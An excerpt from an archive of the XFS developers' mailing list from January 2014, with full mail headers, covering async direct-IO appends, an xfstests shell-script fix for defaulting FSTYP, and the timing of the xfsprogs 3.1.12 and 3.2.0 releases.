with local (Exim 4.76) (envelope-from ) id 1W5NB5-0006Gd-EC; Tue, 21 Jan 2014 09:18:43 +1100 Date: Tue, 21 Jan 2014 09:18:43 +1100 From: Dave Chinner To: Christoph Hellwig Cc: Sergey Meirovich , xfs@oss.sgi.com, Jan Kara , linux-scsi , Linux Kernel Mailing List , Gluk Subject: Re: Terrible performance of sequential O_DIRECT 4k writes in SAN environment. ~3 times slower then Solars 10 with the same HBA/Storage. Message-ID: <20140120221843.GJ18112@dastard> X-ASG-Orig-Subj: Re: Terrible performance of sequential O_DIRECT 4k writes in SAN environment. ~3 times slower then Solars 10 with the same HBA/Storage. References: <20140106201032.GA13491@quack.suse.cz> <20140107155830.GA28395@infradead.org> <20140108140307.GA588@infradead.org> <20140115220721.GY3469@dastard> <20140120135855.GA26280@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140120135855.GA26280@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390256327 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144301 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jan 20, 2014 at 05:58:55AM -0800, Christoph Hellwig wrote: > On Thu, Jan 16, 2014 at 09:07:21AM +1100, Dave Chinner wrote: > > Yes, I think it can be done relatively simply. We'd have to change > > the code in xfs_file_aio_write_checks() to check whether EOF zeroing > > was required rather than always taking an exclusive lock (for block > > aligned IO at EOF sub-block zeroing isn't required), > > That's not even required for supporting aio appends, just a further > optimization for it. Oh, right, I got an off-by-one when reading the code - the EOF zeroing only occurs when the offset is beyond EOF, not at or beyond EOF... > > and then we'd > > have to modify the direct IO code to set the is_async flag > > appropriately. We'd probably need a new flag to say tell the DIO > > code that AIO beyond EOF is OK, but that isn't hard to do.... > > Yep, need a flag to allow appending writes and then defer them. > > > Christoph, are you going to get any time to look at doing this in > > the next few days? > > I'll probably need at least another week before I can get to it. If you > wanna pick it up before than feel free. I'm probably not going to get to it before then, either, so check back in a week? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Jan 20 16:23:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 376137F37 for ; Mon, 20 Jan 2014 16:23:27 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id ADC05AC001 for ; Mon, 20 Jan 2014 14:23:26 -0800 (PST) X-ASG-Debug-ID: 1390256603-04cbb05bab0c9e0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id y2bZDIUhfrxAvqTP for ; Mon, 20 Jan 2014 14:23:24 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhoRAKuh3VJ5LKVw/2dsb2JhbABZgws4gwGkDwOPR4VSgRUXdIIlAQEBBDocMwgDGAklDwUlAyISiATECRcWjnCEOASYIYEzkGaDQSg Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 21 Jan 2014 08:52:59 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W5NF8-0006H2-RI; Tue, 21 Jan 2014 09:22:54 +1100 Date: Tue, 21 Jan 2014 09:22:54 +1100 From: Dave Chinner To: dsterba@suse.cz, xfs@oss.sgi.com Subject: Re: [PATCH 2/5] xfstests: use value of FSTYP if defined externally Message-ID: <20140120222254.GK18112@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/5] xfstests: use value of FSTYP if defined externally References: <20140120021345.GG18112@dastard> <20140120181901.GZ6498@suse.cz> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140120181901.GZ6498@suse.cz> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390256603 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144302 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jan 20, 2014 at 07:19:01PM +0100, David Sterba wrote: > On Mon, Jan 20, 2014 at 01:13:45PM +1100, Dave Chinner wrote: > > On Thu, Jan 16, 2014 at 06:07:12PM +0100, David Sterba wrote: > > > --- a/check > > > +++ b/check > > > @@ -33,7 +33,7 @@ showme=false > > > have_test_arg=false > > > randomize=false > > > here=`pwd` > > > -FSTYP=xfs > > > +FSTYP=${FSTYP:-xfs} > > > > ":-xfs" means assign the value of $xfs if $FTYPE is null. xfs is not > > a variable.... > > Docs say that > > ${parameter:-word} > If parameter is unset or null, the expansion of word is substituted. > Otherwise, the value of parameter is substituted. > > so 'xfs' will expand to itself. And I did test this one with: > > $ cat default.sh << EOF > FSTYP=${FSTYP:-xfs} > echo $FSTYP > EOF > > $ cat external.sh << EOF > FSTYP=btrfs > source default.sh > EOF > > $ sh default.sh > xfs > > $ sh external.sh > btrfs Funny, I did the same tests to check and kept getting no output instead of the "xfs" result. Changing it to := made it work just fine. Oh well... :/ > > > -# Autodetect fs type based on what's on $TEST_DEV > > > -if [ "$HOSTOS" == "Linux" ]; then > > > +# Autodetect fs type based on what's on $TEST_DEV unless it's been set > > > +# externally > > > +if [ -z "$FSTYP" -a "$HOSTOS" == "Linux" ]; then > > > > If the default value expansion is fixed, FSTYP will always have a > > value here Hence it will never, ever probe. > > > > FSTYP=`blkid -c /dev/null -s TYPE -o value $TEST_DEV` > > > fi > > > export FSTYP > > > > I suspect what you want is: > > > > -FSTYP=xfs > > > > ..... > > > > if [ -z "$FSTYP" -a "$HOSTOS" == "Linux" ]; then > > FSTYP=`blkid -c /dev/null -s TYPE -o value $TEST_DEV` > > fi > > FSTYP=${FSTYP:=xfs} > > export FSTYP > > Right, the default assignment has to be last. I'll use the := form > to be consistent with what's used in the file, though :- works here as > well, just does not assign the variable within the ${...} expression. > The result is the same. Thanks. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Jan 20 16:30:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C22A77F37 for ; Mon, 20 Jan 2014 16:30:08 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id AC623304032 for ; Mon, 20 Jan 2014 14:30:05 -0800 (PST) X-ASG-Debug-ID: 1390257003-04cb6c75090c2f0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id GoxShfYQwFK7pk5p for ; Mon, 20 Jan 2014 14:30:04 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkAIAL6i3VJ5LKVw/2dsb2JhbABZgwuDOVKzB4VSgRUXdIIlAQEBAwEjDwEjIwULCAMYAgIFIQICDwUlAyETh30Hp3ScFRcWgRONCU0Hgm+BSQSYIZIZg0EogS0 Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 21 Jan 2014 09:00:03 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W5NM0-0006IB-LW; Tue, 21 Jan 2014 09:30:00 +1100 Date: Tue, 21 Jan 2014 09:30:00 +1100 From: Dave Chinner To: Arkadiusz =?utf-8?Q?Mi=C5=9Bkiewicz?= Cc: xfs@oss.sgi.com Subject: Re: xfsprogs 3.1.12 and 3.2.0 releases? Message-ID: <20140120223000.GL18112@dastard> X-ASG-Orig-Subj: Re: xfsprogs 3.1.12 and 3.2.0 releases? References: <201401201822.48520.arekm@maven.pl> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <201401201822.48520.arekm@maven.pl> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390257003 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144302 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jan 20, 2014 at 06:22:48PM +0100, Arkadiusz Miśkiewicz wrote: > > Hello. > > What's needed for both 3.1.12 and 3.2.0 releases to happen? > > If 3.2.0 is to be released soon then nice. Dave, AFAIK it is waiting for you > and xfs_db crc work only? xfs_repair work, actually. xfs_db is pretty much complete. > If 3.2.0 is far away then it would be nice to see 3.1.12 with bugfixes only > (for those paranoid about new stuff) but 3.1.13 very soon after that with > backported features like project quota support, parallelism, performance > improvements. You're not going to get a 3.1.x release with anything other than bug fixes in it. Indeed, separate project quota inode support requires version 5 superblocks, so that's not ever going to be backported to the 3.1.x series... > Obviously I hope 3.2.0 is soon and there is no need to waste effort on 3.1.x. The problem for me right now is that there are only so many hours in the day.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From arekm@maven.pl Mon Jan 20 16:43:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 721D07F37 for ; Mon, 20 Jan 2014 16:43:00 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id EE093AC001 for ; Mon, 20 Jan 2014 14:42:59 -0800 (PST) X-ASG-Debug-ID: 1390257777-04bdf030ea10fa0001-NocioJ Received: from mail-ee0-f49.google.com (mail-ee0-f49.google.com [74.125.83.49]) by cuda.sgi.com with ESMTP id epqt6gDSgIgoodI8 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 20 Jan 2014 14:42:58 -0800 (PST) X-Barracuda-Envelope-From: arekm@maven.pl X-Barracuda-Apparent-Source-IP: 74.125.83.49 Received: by mail-ee0-f49.google.com with SMTP id d17so3738900eek.8 for ; Mon, 20 Jan 2014 14:42:56 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=maven.pl; s=maven; h=from:to:subject:date:user-agent:cc:references:in-reply-to :mime-version:content-type:content-transfer-encoding:message-id; bh=MHgRKScxtd6ys80PW4hZWrQmX0T/qQZbdf0jTqkRN2M=; b=H1VmcGlwm/H9dHTA+vSN/KIfpNrQHu8MdLxN4Nn5tGX52kVrFMqJoj46m1AC+JLgTd evvRNVXHda6ojpgipfD/al8iK7n5ks53o5PqP6vo/rE59fIuXmOK3zmuwlLtxN9+4ZL7 MUMV3gUxU2subHGJ7JVdPgOIw+uZI6MjcLclY= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:subject:date:user-agent:cc:references :in-reply-to:mime-version:content-type:content-transfer-encoding :message-id; bh=MHgRKScxtd6ys80PW4hZWrQmX0T/qQZbdf0jTqkRN2M=; b=LM6JVLWZaUW+YsbEb8pUB56rq6qEj0cbNtOJ0+D9+y3dXS5UvstkMD3HbrYjEpcS2s 1l/xgEdbstuYyL830iLS7xLk3mkOSb344I7AuIpGVO8KA/GfgU91uT+IW5X5fOVOQTOy gnwAzPPxpwVxJVRHBIbIe7l3PeikjBKWK2PoRU2zyE1aKMg03/amBodX3RkWbdExoFS2 KDyNG2oN3aVpfYLSdB3bhdSJwXOAH8PVZKdzjgiSAzobiCh8ryLIDuxni3BIpWyQX/Sr 0aJuoMPo91VPNIfXYki5zuiXdlJeN/RHOwTXwEhWn3Qjhy10CzoVFBACj93hlsbnkNQc mEOg== X-Gm-Message-State: ALoCoQnOH2vbPFP5KtcnyzLCyyh30LIPze7czpsNxiWMjSNRmwJTjGlKlMUcVtmxtq1LOhrxnMNG X-Received: by 10.14.0.201 with SMTP id 49mr20311304eeb.38.1390257776746; Mon, 20 Jan 2014 14:42:56 -0800 (PST) Received: from t400.localnet (89-65-189-48.dynamic.chello.pl. [89.65.189.48]) by mx.google.com with ESMTPSA id h3sm7928132eem.15.2014.01.20.14.42.55 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Mon, 20 Jan 2014 14:42:55 -0800 (PST) From: Arkadiusz =?utf-8?q?Mi=C5=9Bkiewicz?= To: Dave Chinner Subject: Re: xfsprogs 3.1.12 and 3.2.0 releases? Date: Mon, 20 Jan 2014 23:42:54 +0100 X-ASG-Orig-Subj: Re: xfsprogs 3.1.12 and 3.2.0 releases? User-Agent: KMail/1.13.7 (Linux/3.13.0-final-dirty; KDE/4.12.0; x86_64; ; ) Cc: xfs@oss.sgi.com References: <201401201822.48520.arekm@maven.pl> <20140120223000.GL18112@dastard> In-Reply-To: <20140120223000.GL18112@dastard> MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Message-Id: <201401202342.54755.arekm@maven.pl> X-Barracuda-Connect: mail-ee0-f49.google.com[74.125.83.49] X-Barracuda-Start-Time: 1390257777 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144302 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Monday 20 of January 2014, Dave Chinner wrote: > On Mon, Jan 20, 2014 at 06:22:48PM +0100, Arkadiusz Mi=C5=9Bkiewicz wrote: > > Hello. > >=20 > > What's needed for both 3.1.12 and 3.2.0 releases to happen? > >=20 > > If 3.2.0 is to be released soon then nice. Dave, AFAIK it is waiting for > > you and xfs_db crc work only? >=20 > xfs_repair work, actually. xfs_db is pretty much complete. [...] > > Obviously I hope 3.2.0 is soon and there is no need to waste effort on > > 3.1.x. >=20 > The problem for me right now is that there are only so many hours in > the day.... Could 3.2.0 be released without full xfs_db crc support then? And defer xfs= _db=20 to 3.2.1 or even later. Especially you say "xfs_db is pretty much complete". Right now we have a situation where some features exist in kernel (as stabl= e=20 feature - separate project quota) that are not supported by userspace. Some= =20 fixes (growfs thing/superblock garbage) missing etc. Improvements=20 (performance/paralellism) waiting. ps. I assume that someone else does the actual release, so no need for more= =20 hours/day for you in such case. > Cheers, > Dave. =2D-=20 Arkadiusz Mi=C5=9Bkiewicz, arekm / maven.pl From david@fromorbit.com Mon Jan 20 17:03:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id F26897F37 for ; Mon, 20 Jan 2014 17:03:37 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 68C35AC001 for ; Mon, 20 Jan 2014 15:03:34 -0800 (PST) X-ASG-Debug-ID: 1390259011-04cb6c75070d9b0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id flKFC6EScyPBTT8s for ; Mon, 20 Jan 2014 15:03:32 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkAIAMOq3VJ5LKVw/2dsb2JhbABZgwuDOVKzB4VSgQ4XdIIlAQEBAwEjDwEjIwULCAMYAgIFIQICDwUlAyETh30Hp3ScExcWgRONCU0Hgm+BSQSYIZIZg0EogS0 Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 21 Jan 2014 09:33:00 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W5Nrv-0006Lv-4y; Tue, 21 Jan 2014 10:02:59 +1100 Date: Tue, 21 Jan 2014 10:02:59 +1100 From: Dave Chinner To: Arkadiusz =?utf-8?Q?Mi=C5=9Bkiewicz?= Cc: xfs@oss.sgi.com Subject: Re: xfsprogs 3.1.12 and 3.2.0 releases? Message-ID: <20140120230259.GM18112@dastard> X-ASG-Orig-Subj: Re: xfsprogs 3.1.12 and 3.2.0 releases? References: <201401201822.48520.arekm@maven.pl> <20140120223000.GL18112@dastard> <201401202342.54755.arekm@maven.pl> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <201401202342.54755.arekm@maven.pl> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390259011 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144304 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jan 20, 2014 at 11:42:54PM +0100, Arkadiusz Miśkiewicz wrote: > On Monday 20 of January 2014, Dave Chinner wrote: > > On Mon, Jan 20, 2014 at 06:22:48PM +0100, Arkadiusz Miśkiewicz wrote: > > > Hello. > > > > > > What's needed for both 3.1.12 and 3.2.0 releases to happen? > > > > > > If 3.2.0 is to be released soon then nice. Dave, AFAIK it is waiting for > > > you and xfs_db crc work only? > > > > xfs_repair work, actually. xfs_db is pretty much complete. > > [...] > > > > Obviously I hope 3.2.0 is soon and there is no need to waste effort on > > > 3.1.x. > > > > The problem for me right now is that there are only so many hours in > > the day.... > > Could 3.2.0 be released without full xfs_db crc support then? And defer xfs_db > to 3.2.1 or even later. Especially you say "xfs_db is pretty much complete". * release without full /xfs_repair/ support, not xfs_db. No, I don't think so. releasing without full xfs_db support isn't an issue as it's not critical to users. OTOH, xfs_repair is critical to users. > Right now we have a situation where some features exist in kernel (as stable > feature - separate project quota) that are not supported by userspace. Separate project quota is v5 superblocks only, which are still marked EXPERIMENTAL. For everything non-v5 superblock, v3.1.11 works fine (modulo bugs). > Some > fixes (growfs thing/superblock garbage) missing etc. Improvements > (performance/paralellism) waiting. Nobody is going to push new features back to 3.1.x - we don't have neough developer resources available to do that sort of work. That's pretty obvious, given we are even having this conversation. > ps. I assume that someone else does the actual release, so no need for more > hours/day for you in such case. Well, that's always been the plan since a 3.1.12 release was proposed 3 months ago. How well has that plan been working out so far? Cheers, Dave. -- Dave Chinner david@fromorbit.com From BATV+074a300112f7837756c2+3802+infradead.org+hch@bombadil.srs.infradead.org Mon Jan 20 17:08:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1D7807F4E for ; Mon, 20 Jan 2014 17:08:18 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 91467AC003 for ; Mon, 20 Jan 2014 15:08:17 -0800 (PST) X-ASG-Debug-ID: 1390259296-04cbb05bac0e730001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id DuWwuefFrzt7S3J8 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 20 Jan 2014 15:08:16 -0800 (PST) X-Barracuda-Envelope-From: BATV+074a300112f7837756c2+3802+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1W5Nx0-0002KA-DF; Mon, 20 Jan 2014 23:08:14 +0000 Date: Mon, 20 Jan 2014 15:08:14 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Arkadiusz Mi??kiewicz , xfs@oss.sgi.com Subject: Re: xfsprogs 3.1.12 and 3.2.0 releases? Message-ID: <20140120230814.GA4287@infradead.org> X-ASG-Orig-Subj: Re: xfsprogs 3.1.12 and 3.2.0 releases? References: <201401201822.48520.arekm@maven.pl> <20140120223000.GL18112@dastard> <201401202342.54755.arekm@maven.pl> <20140120230259.GM18112@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140120230259.GM18112@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1390259296 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144304 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Jan 21, 2014 at 10:02:59AM +1100, Dave Chinner wrote: > Well, that's always been the plan since a 3.1.12 release was > proposed 3 months ago. How well has that plan been working out so > far? The sad part is that I would have had the time 3 month ago, but right now it's hard. Still trying to get it done, though. From bpm@sgi.com Mon Jan 20 17:12:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 447C27F4E for ; Mon, 20 Jan 2014 17:12:02 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 27CBD8F8068; Mon, 20 Jan 2014 15:11:59 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id B014B4266DC; Mon, 20 Jan 2014 17:11:58 -0600 (CST) Date: Mon, 20 Jan 2014 17:11:58 -0600 From: Ben Myers To: Christoph Hellwig Cc: Dave Chinner , xfs@oss.sgi.com Subject: Re: xfsprogs 3.1.12 and 3.2.0 releases? Message-ID: <20140120231158.GL1935@sgi.com> References: <201401201822.48520.arekm@maven.pl> <20140120223000.GL18112@dastard> <201401202342.54755.arekm@maven.pl> <20140120230259.GM18112@dastard> <20140120230814.GA4287@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140120230814.GA4287@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) On Mon, Jan 20, 2014 at 03:08:14PM -0800, Christoph Hellwig wrote: > On Tue, Jan 21, 2014 at 10:02:59AM +1100, Dave Chinner wrote: > > Well, that's always been the plan since a 3.1.12 release was > > proposed 3 months ago. How well has that plan been working out so > > far? > > The sad part is that I would have had the time 3 month ago, but right > now it's hard. Still trying to get it done, though. If Arkadiusz is willing to provide a list of commits to include it shouldn't be a problem to get this done. I believe he indicated a willingness to help on IRC earlier today. -Ben From dave@fromorbit.com Mon Jan 20 19:30:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FILL_THIS_FORM_SHORT autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8300B7F37 for ; Mon, 20 Jan 2014 19:30:22 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 68A698F806F for ; Mon, 20 Jan 2014 17:30:19 -0800 (PST) X-ASG-Debug-ID: 1390267815-04cb6c7509138a0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id h1EOlVLqQmadShOI for ; Mon, 20 Jan 2014 17:30:16 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Al4NABzN3VJ5LKVw/2dsb2JhbABZgws4pxMDliYXdIIlAS0vOxhqAzSIBJhjqz+TPgSUPIUYiRyHSoNBKIEuJA Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 21 Jan 2014 12:00:15 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1W5QAP-0006ar-5C for xfs@oss.sgi.com; Tue, 21 Jan 2014 12:30:13 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1W5QAP-0002IF-3v for xfs@oss.sgi.com; Tue, 21 Jan 2014 12:30:13 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] xfs_repair: add support for validating dirent ftype field Date: Tue, 21 Jan 2014 12:30:13 +1100 X-ASG-Orig-Subj: [PATCH] xfs_repair: add support for validating dirent ftype field Message-Id: <1390267813-8781-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390267815 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144308 Rule breakdown below pts rule name description ---- 